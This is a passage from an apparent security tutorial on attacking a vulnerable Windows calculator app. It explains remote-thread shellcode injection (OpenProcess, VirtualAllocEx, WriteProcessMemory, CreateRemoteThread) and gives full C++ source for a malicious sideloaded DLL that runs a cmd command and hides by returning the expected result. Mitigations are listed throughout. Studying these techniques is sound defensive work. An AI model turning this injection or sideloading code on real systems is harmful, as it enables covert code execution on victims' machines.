    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);

    // Close the process handle
    CloseHandle(hProcess);

    return 0;
}

Explanation:

Open Process (OpenProcess):

• This function opens the target process (Calculator) with full access rights (PROCESS_ALL_ACCESS).
• You need to know the Process ID (PID) of the target process. In this code, it’s set to 1234 (a placeholder for the actual PID).

Memory Allocation in Target Process (VirtualAllocEx):

• Allocates memory in the target process’s address space where the malicious shellcode will be injected.
• The memory is allocated with the PAGE_EXECUTE_READWRITE flag, allowing both writing the shellcode and executing it.

Shellcode:

• The shellcode[] array contains the actual malicious code that will be injected into the process.
• This shellcode could be anything from spawning a reverse shell to running a backdoor.

Writing the Payload (WriteProcessMemory):

• This function writes the shellcode into the memory allocated in the target process.
• The shellcode now resides in the memory space of the Calculator process.

Creating Remote Thread (CreateRemoteThread):

• This creates a new thread inside the Calculator process and starts executing the injected shellcode in that thread.
• The pRemoteBuffer holds the location in the process memory where the shellcode resides, and it gets passed to the new thread for execution.

Close Handle (CloseHandle):

• Once everything is set up, the handle to the target process is closed to clean up resources.

How the Attack Works:

• The attacker opens the target process (Calculator) using OpenProcess.
• Memory is allocated in the target process using VirtualAllocEx.
• The attacker injects the malicious shellcode into the target’s address space using WriteProcessMemory.
• A new thread is created in the process to execute the injected code using CreateRemoteThread.

Using this PE injection technique, the attacker could execute arbitrary code within the Calculator process, potentially giving them control over the entire application.

Mitigation:

• Apply memory protection policies, such as DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization).
• Limit access to the process’s memory space, and only allow signed DLLs.

3. DLL Sideloading Attack

Attack Scenario:

The application loads AdvancedCalc.dll from a specific path (C:\Program Files\CalculatorApp\AdvancedCalc.dll). If an attacker places a malicious DLL in this path with the same name, the application will load the attacker’s DLL instead of the legitimate one, allowing the attacker to execute malicious code.

Vulnerability in Application:

• DLL Pathing Vulnerability: The application specifies a hardcoded path to the DLL (AdvancedCalc.dll), but does not perform proper validation of the DLL’s integrity.
• Lack of DLL Signing: The application does not verify whether the DLL is signed or trusted, making it easy for an attacker to replace it.

Code Example for Malicious DLL (Fake AdvancedCalc.dll):

// MaliciousAdvancedCalc.cpp
#include <windows.h>

extern "C" __declspec(dllexport) double Power(double base, double exponent)
{
    // Malicious payload
    system("cmd.exe /c echo You have been compromised! > C:\\Temp\\compromised.txt");

    // Continue with legitimate functionality (optional)
    return pow(base, exponent);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}

Explanation:

DLL Entry Point (DllMain):

• The DllMain function is the entry point of a DLL. It is called by the system whenever the DLL is loaded or unloaded.
• In this case, the DllMain does nothing, just returning TRUE for successful initialization.

Malicious Power Function:

• This function has the same signature as the legitimate Power function expected by the Calculator application.
• The key here is that it contains malicious code: system("cmd.exe /c ...") spawns a command prompt and writes "You have been compromised!" to a file on disk (C:\Temp\compromised.txt).

Legitimate Functionality:

• To avoid suspicion, the malicious DLL continues performing the expected functionality after executing the payload. It calls pow(base, exponent) to calculate the power of a number as the legitimate Power function would.
• This allows the attack to go unnoticed by the user.

How the Attack Works:

• The attacker places a malicious version of AdvancedCalc.dll in the application’s folder.
• When the application runs and calls LoadLibrary("AdvancedCalc.dll"), the malicious DLL is loaded instead.
• The DLL executes malicious code (in this case, it runs a command and writes to a file), while optionally continuing to provide the expected functionality (to avoid detection).

Practical Demonstration:

• Replace the legitimate AdvancedCalc.dll with a malicious one.
• The malicious DLL could perform harmful actions (like stealing data or launching another process), all while the user believes they are just using the calculator.

Mitigation:

• Always verify the integrity of DLLs (e.g., through digital signatures).
• Use safe directories (e.g., System32) for loading critical libraries.
• Implement DLL Search Order Hijacking prevention techniques, ensuring the application loads the expected library.

Conclusion

• These attacks exploit common vulnerabilities in how the application handles user input, memory management, and DLL loading.
• By understanding these potential attack vectors, you can now explore various security techniques (e.g., input validation, memory protection, DLL verification) to harden the application and prevent these attacks.

#VulnerableApplication #WindowsApps #DLLSideloading